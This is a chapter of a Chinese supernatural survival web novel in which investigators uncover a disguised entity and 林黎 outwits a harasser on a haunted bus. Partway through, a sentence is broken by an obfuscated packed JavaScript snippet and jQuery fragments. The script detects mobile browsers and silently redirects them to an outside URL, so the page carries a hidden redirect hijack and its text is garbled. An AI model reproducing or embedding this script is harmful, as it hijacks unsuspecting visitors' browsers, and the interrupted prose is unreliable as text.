安全局是一座完全由天使金属构筑起来的大厦,在阳光下会反射出银白色光晕。
内部墙壁则完全由冷灰色合金包裹,上面刻满了类似楔形文字的密符,密密麻麻地布满了墙壁、地面和天花板。
这些保护符文既是为了防止诡异力量的入侵,同时也是为了困住有可能变异的污染对象从这里逃离。
地下七层,污染物隔离室。
一块巨大的玻璃将房间分隔为两半,一边是各种检测设备,另一边则是类似医院病房布局的房间,四周严丝合缝地包裹着走廊同款合金。
边北舟正百无聊赖地躺在床上,脸上卸掉了妆,洛丽塔裙装也已经换掉,穿着松垮的病号服,看上去像个刚毕业的大学生,气质干净,身材瘦削。
“我不喜欢黄色,看得眼睛疼。”他撇撇嘴,眼睛盯着室内唯一运动的东西——一只发光的飘浮水母慢慢转动。
“哎,那就对了,”检测室负责人是个年纪有点大的老太太,戴着副眼镜,穿着研究员的白大褂,一边刷刷记录数据,一边说,“终于知道那不是给你看的了?”
发光水母是罕见能吸收周围污染的治疗性道具,非常稀少,偌大江城大概也就这么一只。
边北舟当然知道,只是太无聊了。乱飞的眼睛瞥见进来的两人,他腾地从床上跳起来,跑到玻璃边,活像坐了十年牢一样,“淮哥!你终于来看我了!”
“跟我一起出来的那只刚觉醒的雏鸟也没事,”他好像想到了什么,表情又难过起来,“可惜还有一个女生没出来。应该是她最后帮我们引开了污染物。”
顾淮愣了下,“还有一个人?”
“对啊,这次有四个求生者,”边北舟不明所以地问,眼睛在对面两人脸上来回转。
顾淮沉思,周宁则是吃惊。
“不该啊,”周宁疑惑地嘶了声,“按照之前对这个D级本的调查看,它每次都只吸收三个求生者就会开启。”
基本所有诡域都有人数限制,开启后就会封闭,想要进入除非像顾淮上次在写字楼那样暴力进入。但这种行为并不推荐,因为会造成诡域不稳定,规则出现偏差,乃至崩溃直接全灭。
写字楼那会也是因为有陈家人施压,配上顾淮这样的顶尖高手,才敢一试。
边北舟面露茫然,“可是……”
“根据你之前描述,死了一个中年上班族,另一个是叫陆扬的初醒者,经过检测可以确认为人类,”周宁分析道,“那么有问题的只可能是这个女生。”
“不可能,”边北舟还能想起那双对自己充满信任的眼睛,他还信誓旦旦说要带她出去,结果还是食言了,“不可能,她看上去太……”
“太什么?”顾淮望着说不出话的边北舟问。
“奇怪,”他皱起眉,努力回想但脑子里还是一片空白,“我好像忘记她长什么样了。”
他不会是在被严重污染后伤到脑子失忆了吧?
顾淮明显想得更多,飞快问,“你还记得她的名字吗?写下来。”
边北舟也被他带得紧张了起来,赶紧在玻璃上哈了口气,慢慢写下两个字。
禾初
顾淮安静地盯着这个名字看了会,然后神色骤变,
“淮哥,怎么了?”边北舟和周宁两双眼睛紧盯着他。
顾淮抿着嘴,抬起手指,碰触玻璃时上面结起了白霜,接着白霜像粉笔一样在玻璃上划过白痕,慢慢在“禾初”两字下面加了一个“人”,下面再加一个“水”
一个古怪的“黎”字出现在玻璃上。
玻璃内外,三人顿时只觉得一股寒意慢慢爬上了脊背。
边北舟更是睁大眼睛,好久回不过神。自己在副本里究竟跟什么东西待了数个小时。
忽然,刺耳的警铃响起,室内几人顿时面色大变。
有污染物在安全局?
顾淮和周宁惊疑地对视一眼,飞快朝楼层电梯跑去。
“发生什么了?”顾淮两人到的时候,小职员正在包扎伤口。
“顾队,周队,我没事,”他抬起点胳膊,又在治疗师责备的目光中乖乖地放下,“都是自己摔的。”
顾淮看向受袭击的三个办公室,面朝走廊的落地玻璃都碎了,桌椅凌乱翻倒,文件撒落一地。
“没有人员伤亡,大概是能潜伏在影子里的小诡异误闯进来,”安保队的负责人走过来说。
“不是误闯,”顾淮在一堆文件下翻出已经被腐蚀得面目全非的文件袋。
“哎,笔!”小职员自责地说,“我早点送到检验科就好了。”
“不是你的问题,”顾淮眸色幽深,“对方就是冲着笔来的。”
半月后的正午。
烈日当空,一辆已经锈迹斑斑的老式公交碾过油腻软乎的沥青马路,在一个顶棚被晒得发白的废旧公交站缓缓停下。
上面的一车人顿时都露出惊疑的神色。
黄毛混混样的瘦小男人下意识低呼出声,“这辆车不是满座了吗?”
车内一片安静,没有人回答,黄毛这才意识到自己在还没摸清规则的情况下贸然出声太鲁莽了,万一规则是不能发出声音……
他呼吸一窒,身体控制不住地微微颤抖,左右看看想得到一点安慰。
但没人理睬他,只有斜前方穿着黑T恤的中二青年朝他做了个幸灾乐祸的鬼脸。
黄毛气得咬牙切齿,但他不敢对付中二青年,那家伙脖子上的银挂坠一看就是个高级道具,显然来头不小。
但气肯定要撒,他自然而然地记恨上了还没上车的求生者。
哒,哒,哒。
在整车人的注目礼中,一个扎着双马尾,穿着露膝粉色洛丽塔裙装的少女走上来。
她扭头望向破旧不堪但坐得满当当的公交,嘟着嘴,表情茫然地问,“这不是去市区的车吗?”
资深者还是新人,一目了然。
少女正是被千面之月信徒火热追杀中的林黎。气量狭小的老登下线后摇了信徒,满大街找她,逼得她不得不乔装打扮,而且还只能挑日头最盛的时候。
正午月亮力量最弱,容易躲避老登的搜捕。
俗话说得好,越招摇有时候就是越隐蔽,感谢边北舟在穿着上给的灵感,林黎租到一身裙装,自己再整了个娃娃妆,浮夸得绝对看不出原样。
她不着痕迹地扫了眼车厢,从内部设施看,这辆公交应该是90年代初生产的,绿色的车顶和塑料凳,地板是生锈的红铁板。
她的右手边是车头位置,司机的驾驶座被不透明玻璃门单独隔开了,左手边整齐地排着两列位置,左右各八个,两边都是单座,一直延伸到车尾。
十六个人……
目前为止,这是林黎碰到求生者最多的一次,不出意外也会死得最多。她隐约感觉到这个诡域等级应该要比前两个高。
作为天寿小区的当家人,林黎知道维持诡域运转是需要能量的,等级越高耗能越大,而求生者就是产生能量的耗材。
一部分乘客冷漠地转开了目光,另一部分则更加放肆地打量起来,特别是少女裹着丝袜的雪白长腿。
“车满了,姑娘,”二排面目憨厚的大叔露出不忍心的表情,“现在下去还来得及。”
话音刚落,车后排传来声嗤笑。烫着卷发化着精致妆容的女人毫不留情地揭穿道,“想用新人试规则就直说,装什么装,恶心。”
憨厚大叔被戳穿心思,眼里闪过抹恨意,但很快又掩饰了过去,“那你倒是说说,车上没位置了,这小姑娘上来跟下去又有什么区别,下去了万一还能离开呢?”
有点经验的求生者都明白了他的意思。新人运气太差,碰上了诡域bug,现在上来下去都是死,不如废物利用,死前给他们试试规则。
这么一想,大半人的脸上都露出了赞同憨厚大叔的意思,后者朝卷发女露出同样憨厚的微笑,眼底则满是暗暗的挑衅。
卷发女冷笑一声不再说话,她看不惯憨厚大叔的虚伪,但为了新人得罪大多数求生者不值得,只能眼不见为净地扭头看向窗外。
“这里不是还有个位置吗?”娇俏的嘟嘟音疑惑地问。
涂着淡粉色指甲油的手指着驾驶座并排的位置。
以前售票全靠人工,所以这个位置是谁的显而易见。
虽然它看上去是空的,但没有人真的认为它是空的。退一万步说,即使是空的,乘客坐售票员的位置也明显不符合公交乘坐规则。
车内安静了下来,众人或嘲讽轻蔑或事不关己地瞥着她。
只有中二青年唯恐天下不乱地怂恿道,“youcantry~”
林黎也没见过这么贱的家伙,短暂沉默一秒,然后径直走过去,粉色小高跟狠狠地冲他的腿一踹。
中二青年当即捂住腿嗷一声叫出来,没想到这女的看起来娇小,腿劲比汉子还大。
“你!”中二青年一边龇牙咧嘴,一边瞪着她。
黄毛立即讨好地站起来冲她大声吼道,“贱丫头,哥给你脸还不要脸了,是吧?”
林黎被步步紧逼的黄毛吓得倒退数步,但嘴上不肯讨饶,气鼓鼓地嘟囔,“不是他先问我敢不敢踹吗?”
众人这才明白过来,因为中二青年带着点口音,所以刚才耍帅的英文听起来很像“you敢踹?”
不知道是谁忍不住发出了扑哧一声,中二青年的脸色更加铁青了,朝声音方向怒道,“放屁呢?想笑有本事就大声点!”
黄毛像是找到了组织的狗一样附和道,“对啊,谁敢嘲笑哥?”
他望着不敢说话的众人顿时感觉到了狐假虎威的爽快,之前的郁气一消而散。喊完还不过瘾,他接着转身逼近少女,恶声恶气地说,“你不是要坐吗,快去坐啊!”
少女一看就是娇生惯养的小公主,此时被吼了,委屈地嘟起嘴,瑟缩着肩膀回到售票员的位置旁,低头沉默地看了会。
众人以为她是害怕了不敢坐,黄毛也一样。他本来就有迁怒少女的意思,现在心里的火气更是一发不可收拾。他走到她身后想压着对方肩膀逼她坐下,但闻到少女身上淡淡的香味后一股邪火从下窜上来。
他立即改变了主意。
这种漂亮又娇滴滴的女人换了别处估计都不会看他一眼,但现在却只能任凭处置。
黄毛此时背对众人,露出猥琐的笑,满是汗渍的胸口几乎都要贴到女孩背上,带着口臭的嘴小声说,“怕了?你黄哥膝盖上还有空位,乖点就让你坐怎么样?”
他根本没想过对方会拒绝,脏兮兮的手迫不及待地朝对方的大
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15997429|178246||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
腿内侧摸去。
谁知少女这时候突然前倾半蹲了下,刚好避开了。
黄毛摸了个空心头邪火更旺,正要发怒,只见后者正心无旁骛地将一张纸巾撕成两片,整整齐齐地铺到满是污渍的椅子上,然后才小心翼翼地掖着裙摆坐下去。
黄毛:……
感情她刚才犹豫是因为怕脏。
“我没听清,你刚才说什么呀,黄哥?”少女抬起头,一脸疑惑地望着还站在旁边的黄毛。
现在人家都坐下了还说个屁。
黄毛狠狠地剜了眼飞走的肥肉,扭头就要走,然后蓦地停住了脚。
她如果没听见,怎么知道自己叫黄哥?这臭丫头分明是全听见了装傻玩他呢!
黄毛愤怒地转身,抬起手就要给她来一耳刮子。这种贱货要是被卖到他们乡里就是要吃耳刮的,不听话就多吃几个,总会听话!
但他转头看到对方脸上的表情时却愣了下。
涂着粉色唇彩的嘴微微勾起,一双黑眸似笑非笑,带着看好戏的恶意。此时对方身上哪里还有什么娇蛮无知的小公主样,分明是一匹危险又狡猾的恶狼。
“你,你……”黄毛举着手落也不是,不落也不是。他看到对方嘴唇动了动,下意识去分辨唇语的意思。
你该下车了。
他该下车了?为什么?
黄毛顿时脊背一凉,后知后觉地想起来这是哪里。带过他的老人经常语重心长地嘱咐,看起来再安全再普通的诡域都不能掉以轻心。
因为你永远不知道自己什么时候会触犯规则,触犯什么规则。
“先生,”阴森沙哑的声音从驾驶座传来,“请下车。”
“我,我还没到站!”黄毛急忙解释。想也知道,离开诡域肯定没那么简单,现在下车了就是死。
“先生,请下车,”声音机械地重复,同时驾驶室的黑门缓缓打开。
黄毛大叫一声,惊恐后退。
只见驾驶室里正端坐着一具干尸,干瘪焦黑的皮紧贴在骷髅骨上,头颅上有个前后贯穿的大洞,露着牙床的牙齿缝里嵌着褐红色的肉丝,下面的骨架上套着破破烂烂的焦黑衣服,下面黑漆的肋骨隐约可见。
“我还没到站!”黄毛颤抖地后退,声音却不由得低了下去。
“你到站了。”骷髅司机伴随着骨架的咔哒声,慢慢站起来。
黄毛惊恐地瞪着眼睛,看到一脸不明所以地望着自己的林黎,抬起手指着她,语无伦次地说,“是你干的!你做了什么!为什么司机会听你的话!你是不是怪物!”
“你在说什么?”林黎生气地鼓起面颊,“说不定是你惹烦它了,才赶你下去的!”
“你们听我说,”黄毛面朝其他乘客,慌乱地说,“她根本不是表现出来的这样子,她都是装的!”
“难道你想摸大腿摸屁股,我还不能躲吗?”林黎立即泫然欲泣地指责。
众人一听恍然大悟,这家伙刚才贴人家这么紧不知道在干什么,原来是这种事。在诡域还能精虫上脑的蠢货,死了活该。
“不是!”黄毛解释不清,又像抓救命稻草一样看向中二青年,“哥,求求你,救救我,哥!”
“谁是你哥?别乱叫。”中二青年像赶苍蝇一样挥开对方的手。
见黄毛还要继续赖着,后座戴墨镜的男人懒洋洋地催促,“麻烦死快点好吗?你触犯了规则,现在跪下叫每个人一声爷爷都没用。”
“还有奶奶,”墨镜男前面的卷发女补充道。
“我没有触犯规则!”黄毛急得满头大汗,“冤枉啊,我什么都没干!”
“你站起来了,公交车上坐着的人什么时候会站起来?是要下车的人,”卷发女瞥向墨镜男反问,“我说的对吗?”
墨镜男看了她一眼,补充道,“还踩了车门前的黄色区域。那里一般是供上下车的乘客站的。”
黄毛愣愣地望向车门,那里果然有一小块贴了黄色胶带。但胶带很不起眼,也没有文字标注,如果不注意,还会以为是沾在地上的垃圾。
“可是……可是她也走过去了,她也踩了!”黄毛指着林黎问,“为什么只让我一个人下车?”
“她没踩到。”墨镜男确凿地说,显然刚才所有人的言行他都有仔细留意。
“不可能,我们明明走的地方都差不多!”
“她脚几码,你脚几码?”墨镜男想到新人的高跟几乎就贴着胶带走过去,忍不住感叹,“运气不错。”
黄毛顿时面如死灰,他被骷髅司机拖着推下去的那刻想起少女露出的古怪微笑和唇语,突然明白过来,根本不是幸运,对方一开始就知道那块区域不能踩,却故意什么都不说,引诱着他掉进了陷阱。
司机赶完人又咔嚓咔嚓地回到驾驶室关上门,车内陷入一片安静,仿佛什么都没发生过。
但车上的人都紧盯着下车的黄毛,每一个求生者的死亡都能或多或少地带来点线索。
可是奇怪的是,他只是失魂落魄地走到车站坐下,低垂着头,什么都没发生。
难道通关真的这么简单?只要到站下车就行?
“车没有关门。”卷发女突然说。
其他人顿时反应过来,对啊,上车的已经上了,下车的也下了,为什么车还不关门?